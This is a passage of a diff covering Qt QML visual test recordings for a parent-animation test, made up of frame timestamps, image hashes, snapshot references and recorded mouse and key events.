"4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2784 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2800 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2816 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2832 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2848 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2864 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2880 + image: "parentAnimation.2.png" + } + Frame { + msec: 2896 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2912 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2928 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2944 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2960 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2976 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2992 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3008 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3024 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3040 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3056 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3072 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3088 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3104 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3120 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3136 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3152 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3168 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3184 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3200 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3216 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3232 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3248 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3264 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3280 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3296 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3312 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3328 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3344 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3360 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3376 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3392 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 3408 + hash: "633b5668278295faa57d0cfffe8a29cb" + } + Frame { + msec: 3424 + hash: "ccbf4505e0f05547d2f7ce874ab941c0" + } + Frame { + msec: 3440 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 3456 + hash: "de6a97ac6e2677feb223336199cbffe1" + } + Frame { + msec: 3472 + hash: "997b0a547336a9bb6a67cd9beffe1831" + } + Frame { + msec: 3488 + hash: "ac9a6e111050b8a7c4492f06c33d3969" + } + Frame { + msec: 3504 + hash: "7313c0d2ee06e393f486670222c29bb4" + } + Frame { + msec: 3520 + hash: "24cea420d03d1fdcddb1b9cf5112cbee" + } + Frame { + msec: 3536 + hash: "764688785eeaa01e9c84821476911edb" + } + Frame { + msec: 3552 + hash: "b24ae0cb512abfd2606ff9c20a6751bf" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3568 + hash: "b24ae0cb512abfd2606ff9c20a6751bf" + } + Frame { + msec: 3584 + hash: "d7bf1b48f1a03974e7f095468e07f037" + } + Frame { + msec: 3600 + hash: "a59ab4fe1c22d27b5cdde949cf90e6f4" + } + Frame { + msec: 3616 + hash: "7c3082720e65b8a6217bf5a5fe4d48c0" + } + Frame { + msec: 3632 + hash: "350d1ff24fb8fba0ab8a6694d99544b3" + } + Frame { + msec: 3648 + hash: "81d17a62c33d79ed25968ec47771d292" + } + Frame { + msec: 3664 + hash: "43fd3ef88bd7a2e5bf4546f088783077" + } + Frame { + msec: 3680 + hash: "041938ad2e023202db18df28f2329c8f" + } + Frame { + msec: 3696 + hash: "ec8677eae06cbf77a9508953325b179e" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3712 + hash: "ec8677eae06cbf77a9508953325b179e" + } + Frame { + msec: 3728 + hash: "453026339c3901ee286831b4b41088f6" + } + Frame { + msec: 3744 + hash: "d58a7a41ade691cc0acfb0303bfc3b68" + } + Frame { + msec: 3760 + hash: "a200b05ef3d7e39e11513fd2f8ff1497" + } + Frame { + msec: 3776 + hash: "faa1223975acdf2d4b48045d7f2ce445" + } + Frame { + msec: 3792 + hash: "964d9b80d82d0fe3d3fb328a1661a60e" + } + Frame { + msec: 3808 + hash: "705871bc384de93100354acb19b371b0" + } + Frame { + msec: 3824 + hash: "1a4480463adfc5a3d525916b03c2c3ce" + } + Frame { + msec: 3840 + image: "parentAnimation.3.png" + } + Frame { + msec: 3856 + hash: "9a55bdf428f45f02d9c8cf414dcd7754" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3872 + hash: "9a55bdf428f45f02d9c8cf414dcd7754" + } + Frame { + msec: 3888 + hash: "0f6d82d02ce7d79a1bdf6bf81791f321" + } + Frame { + msec: 3904 + hash: "b145b9d299714020686069baec11cb71" + } + Frame { + msec: 3920 + hash: "5dbf5e4151c01f10cf23b07ca1df56ab" + } + Frame { + msec: 3936 + hash: "822d4397ac514673ca1015ad05c9b4ac" + } + Frame { + msec: 3952 + hash: "461d35e865153d22e9a67bb0ffddefb7" + } + Frame { + msec: 3968 + hash: "676fff498e6879144090d5596056c6c8" + } + Frame { + msec: 3984 + hash: "854da7ed627237250e20b263f9eb9d90" + } + Frame { + msec: 4000 + hash: "157ec877797883d329ff329537205d02" + } + Frame { + msec: 4016 + hash: "613669ca60240fcc490d548fe802390d" + } + Frame { + msec: 4032 + hash: "803e84f027c773db96f9530511e5fedb" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4048 + hash: "803e84f027c773db96f9530511e5fedb" + } + Frame { + msec: 4064 + hash: "f47cfd1f1094b782c08490be2f49c6ed" + } + Frame { + msec: 4080 + hash: "db5953f3ee4e2db87e33b85464167f74" + } + Frame { + msec: 4096 + hash: "8313cb750b9abc586a43b9422de08f53" + } + Frame { + msec: 4112 + hash: "deb390ce992fee85c56733168b4bd1ec" + } + Frame { + msec: 4128 + hash: "29a1cda3647c49731e9adcd107a2d13c" + } + Frame { + msec: 4144 + hash: "bfa17a3afa06699107b217df6e4aed43" + } + Frame { + msec: 4160 + hash: "8e639ef01ab6d8876c3f40adc44928c6" + } + Frame { + msec: 4176 + hash: "14038aedf42de0ca62d872d317018ee0" + } + Frame { + msec: 4192 + hash: "c1288465163d44ed40e28f21e0298ea6" + } + Frame { + msec: 4208 + hash: "d6915f22a905737488d27e8138002f31" + } + Frame { + msec: 4224 + hash: "5b1621451a5a3af40302603ec31bb8bb" + } + Frame { + msec: 4240 + hash: "16fd73c0cb615cc717cdc4a6787471c2" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4256 + hash: "16fd73c0cb615cc717cdc4a6787471c2" + } + Frame { + msec: 4272 + hash: "db5caf42e11705ecdb2006e1ed6b0c4f" + } + Frame { + msec: 4288 + hash: "4b7e51e4e9fb1dacb32aac11a4a46ceb" + } + Frame { + msec: 4304 + hash: "63c93cda9892f733809125991af997b6" + } + Frame { + msec: 4320 + hash: "0e74613c67fc9d9acb21a3d382c5efcd" + } + Frame { + msec: 4336 + hash: "58e813a6619828b6c9ec9cf300ff0e2d" + } + Frame { + msec: 4352 + hash: "181a6e334d745381f091bf1b55fc1690" + } + Frame { + msec: 4368 + hash: "f25bbc9ddc8cc72036c49d50b45bece8" + } + Frame { + msec: 4384 + hash: "88e8f0496debfee6bc2426895fe1c3d9" + } + Frame { + msec: 4400 + hash: "db5953f3ee4e2db87e33b85464167f74" + } + Frame { + msec: 4416 + hash: "9818a899adb916b6ba5f7537697ef062" + } + Frame { + msec: 4432 + hash: "3842f40093d70089a4004fb803c05981" + } + Frame { + msec: 4448 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 4464 + hash: "cbae27751ff0ebce4fcc164564f4cf1b" + } + Frame { + msec: 4480 + hash: "3a1b468bd3fd747bbe6b069426b170a9" + } + Frame { + msec: 4496 + hash: "57fbcd580eb1607a2a7526a65842dfeb" + } + Frame { + msec: 4512 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4528 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4544 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4560 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4576 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4592 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4608 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4624 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4640 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 4656 + hash: "633b5668278295faa57d0cfffe8a29cb" + } + Frame { + msec: 4672 + hash: "ccbf4505e0f05547d2f7ce874ab941c0" + } + Frame { + msec: 4688 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 4704 + hash: "de6a97ac6e2677feb223336199cbffe1" + } + Frame { + msec: 4720 + hash: "997b0a547336a9bb6a67cd9beffe1831" + } + Frame { + msec: 4736 + hash: "ac9a6e111050b8a7c4492f06c33d3969" + } + Frame { + msec: 4752 + hash: "7313c0d2ee06e393f486670222c29bb4" + } + Frame { + msec: 4768 + hash: "24cea420d03d1fdcddb1b9cf5112cbee" + } + Frame { + msec: 4784 + hash: "764688785eeaa01e9c84821476911edb" + } + Frame { + msec: 4800 + image: "parentAnimation.4.png" + } + Frame { + msec: 4816 + hash: "f1daed3391f10e27435a54222df8d0ab" + } + Frame { + msec: 4832 + hash: "99704e182267f2c12d0215b9c03f4d68" + } + Frame { + msec: 4848 + hash: "143cd9259a41b8af5d41a5b2aaf8de64" + } + Frame { + msec: 4864 + hash: "b5f0a0f838b5870c162a24cd767f068b" + } + Frame { + msec: 4880 + hash: "c5c8cdcbfab7466e447eaff582bf7312" + } + Frame { + msec: 4896 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4912 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4928 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4944 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4960 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4976 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 4992 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5008 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5024 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5040 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5056 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5072 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5088 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5104 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5120 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5136 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5152 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5168 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5184 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5200 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5216 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5232 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5248 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5264 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5280 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5296 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5312 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5328 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5344 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5360 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 5376 + hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" + } + Frame { + msec: 5392 + hash: "ec0e68c2e7a75fedd1091ce633dadd4f" + } + Frame { + msec: 5408 + hash: "a5d60efc176dee9083a2d746e7ad8315" + } + Frame { + msec: 5424 + hash: "48bcbbacf413080247f818e35e496e04" + } + Frame { + msec: 5440 + hash: "c521af8efa19fbac39119ad75cd469f5" + } + Frame { + msec: 5456 + hash: "0e74613c67fc9d9acb21a3d382c5efcd" + } + Frame { + msec: 5472 + hash: "eeb3f4467ebd7ee678c3b7371db28519" + } + Frame { + msec: 5488 + hash: "9c5b9009a35b74d0ddec8fec85f204bf" + } + Frame { + msec: 5504 + hash: "aefc70824e23428aebf0a40830a57469" + } + Frame { + msec: 5520 + hash: "1fa9c23760193b74b0063b4e4c434070" + } + Frame { + msec: 5536 + hash: "8091700d4729163bd87521385853e608" + } + Frame { + msec: 5552 + hash: "a13558e609570f9390f20a85d244fa22" + } + Frame { + msec: 5568 + hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" + } + Frame { + msec: 5584 + hash: "51c8ae31f858121d86ef09cc9a5c5ef3" + } + Frame { + msec: 5600 + hash: "84ce8f39207f4b07c2c3323425a8c238" + } + Frame { + msec: 5616 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5632 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5648 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5664 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5680 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5696 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5712 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5728 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5744 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5760 + image: "parentAnimation.5.png" + } + Frame { + msec: 5776 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5792 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5808 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5824 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5840 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5856 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5872 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5888 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5904 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5920 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5936 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5952 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5968 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 5984 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6000 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6016 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 6032 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6048 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6064 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6080 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6096 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6112 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6128 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6144 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6160 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6176 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6192 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6208 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6224 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6240 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6256 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 6272 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml deleted file mode 100644 index 5718560..0000000 --- a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml +++ /dev/null @@ -1,1663 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 32 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 48 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 64 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 80 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 96 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 112 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 128 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 144 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 160 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 176 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 192 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 208 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 224 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 240 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 256 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 272 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 288 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 304 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 320 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 336 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 352 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 368 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 384 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 400 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 416 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 432 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 448 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 464 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 480 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 496 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 512 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 528 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 544 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 560 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 576 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 592 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 608 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 624 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 640 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 656 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 672 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 688 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 704 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 720 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 736 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 752 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 768 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 784 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 800 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 816 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 832 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 848 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 864 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 880 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 896 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 912 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 928 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 944 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 960 - image: "parentAnimation.0.png" - } - Frame { - msec: 976 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 992 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1008 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1024 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1040 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1056 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1072 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1088 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1104 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1120 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1136 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1152 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1168 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1184 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1200 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1216 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1232 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1248 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1264 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1280 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1296 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1312 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1328 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1344 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1360 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1376 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1392 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1408 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1424 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1440 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1456 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1472 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1488 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1504 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1520 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1536 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1552 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1568 - hash: "633b5668278295faa57d0cfffe8a29cb" - } - Frame { - msec: 1584 - hash: "ccbf4505e0f05547d2f7ce874ab941c0" - } - Frame { - msec: 1600 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 1616 - hash: "de6a97ac6e2677feb223336199cbffe1" - } - Frame { - msec: 1632 - hash: "997b0a547336a9bb6a67cd9beffe1831" - } - Frame { - msec: 1648 - hash: "ac9a6e111050b8a7c4492f06c33d3969" - } - Frame { - msec: 1664 - hash: "7313c0d2ee06e393f486670222c29bb4" - } - Frame { - msec: 1680 - hash: "24cea420d03d1fdcddb1b9cf5112cbee" - } - Frame { - msec: 1696 - hash: "764688785eeaa01e9c84821476911edb" - } - Frame { - msec: 1712 - hash: "b24ae0cb512abfd2606ff9c20a6751bf" - } - Frame { - msec: 1728 - hash: "f1daed3391f10e27435a54222df8d0ab" - } - Frame { - msec: 1744 - hash: "99704e182267f2c12d0215b9c03f4d68" - } - Frame { - msec: 1760 - hash: "143cd9259a41b8af5d41a5b2aaf8de64" - } - Frame { - msec: 1776 - hash: "b5f0a0f838b5870c162a24cd767f068b" - } - Frame { - msec: 1792 - hash: "c5c8cdcbfab7466e447eaff582bf7312" - } - Frame { - msec: 1808 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1824 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1840 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1856 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1872 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1888 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1904 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1920 - image: "parentAnimation.1.png" - } - Frame { - msec: 1936 - hash: 